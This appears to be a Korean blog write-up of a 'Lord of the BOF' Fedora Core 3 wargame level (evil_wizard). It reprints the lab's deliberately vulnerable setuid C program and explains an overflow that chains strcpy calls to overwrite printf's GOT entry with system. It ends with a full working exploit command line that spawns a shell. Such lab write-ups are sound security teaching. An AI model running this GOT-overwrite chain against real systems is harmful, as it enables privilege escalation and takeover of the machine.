/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}



보면 입력값(argv[1])를 buffer에 strcpy함수를 이용하여 복사를 한다.
그 후 sfp를 복원해주고, buffer 주소 ~ buffer + length를 제외한 높은주소 부분을 0으로 클리어 한다.
이 부분으로 인해 ret sled를 막고자 한 것 같다.



힌트에서도 써있듯 GOT overwriting기법을 이용하면 될 것 같다.


소스코드를 보면 pop_pop_ret함수가 있는 것으로 보아 연속해서 함수 호출이 가능할 것 같다.
| buf | SFP | RET | &pop_pop_ret | 인자1 | 인자2 | RET` | &pop_pop_ret | 인자`1 | 인자`2 ... 

이런식의 연속해서 함수 호출을 말하는 것이다.



그러면 strcpy함수를 이용하여 printf@got 값을 system함수의 got로 변경시켜주고, /bin/sh을 실행시키면 쉘을 딸 수 있을 것 같다.


./evil_wizard `python -c 'print "A"*264+"BBBB"+ strcpy@plt + &ppr + "print@got[0]" + "system@got[0]"+

strcpy@plt + &ppr + "print@got[1]" + "system@got[1]"+

strcpy@plt + &ppr + "print@got[2]" + "system@got[2]"+

strcpy@plt + &ppr + "print@got[3]" + "system@got[3]" +

printf@plt + BBBB + /bin/sh주소




strcpy@plt 주소 : 0x8048494

ppr 주소 : 0x0804854f

print@got[0]주소 : 0x8049884, 0x8049885, 0x8049886, 0x8049887

system주소  : 0x7507c0

printf@plt : 0x08048424

c0 : 0x8048420

07 : 0x8048378

75 : 0x80482c8

00 : 0x80482f8

/bin/sh 0x833603

저기 system@got의 1바이트 주소들은 다음과 같이 구하면 된다.



c0 : 0x8048420



07 : 0x8048378



75 : 0x80482c8



00 : 0x80482f8



./evil_wizard "`python -c 'print "A"*264+"BBBB"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x84\x98\x04\x08"+"\x20\x84\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x85\x98\x04\x08"+"\x78\x83\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x86\x98\x04\x08"+"\xc8\x82\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x87\x98\x04\x08"+"\xf8\x82\x04\x08"+"\x24\x84\x04\x08"+"BBBB"+"\x03\x36\x83\x00"'`"








'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20
[Fedora3] gate -> iron_golem  (0) 2015.11.19

+ Recent posts